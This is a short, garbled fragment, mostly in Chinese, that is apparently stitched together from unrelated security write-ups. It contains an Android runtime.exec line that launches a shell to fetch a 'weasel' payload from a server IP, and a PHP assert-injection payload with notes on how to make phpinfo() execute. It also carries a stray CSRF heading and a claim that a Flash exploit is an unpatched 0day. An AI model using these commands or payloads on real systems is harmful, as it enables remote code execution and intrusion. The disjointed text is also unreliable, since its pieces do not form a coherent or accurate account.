runtime.exec(['/system/bin/sh','-c',weaselPath+''+serverip+'80getdrozer.config']).waitFor();http://live.acfun.tva)assert(phpinfo();)不行履行,由于assert后边要接一个表达式,phpinfo();不是表达式,是一条php句子,可是换成assert("phpinfo();")就能够履行了,这样"phpinfo();"当作是一个表达式,可是"phpinfo();print_r(666);"[assert的参数为字符串时字符串的引号中有多个分号时]不被当作表达式ps：图片可单击扩大观看。 Security Corner: Cross-Site Request Forgeries

开始剖析这个Exploit之后，咱们发现这个Exploit在最新版别的Adobe Flash（18.0.0.194）中依然能够触发，因而这应该是一个0day缝隙。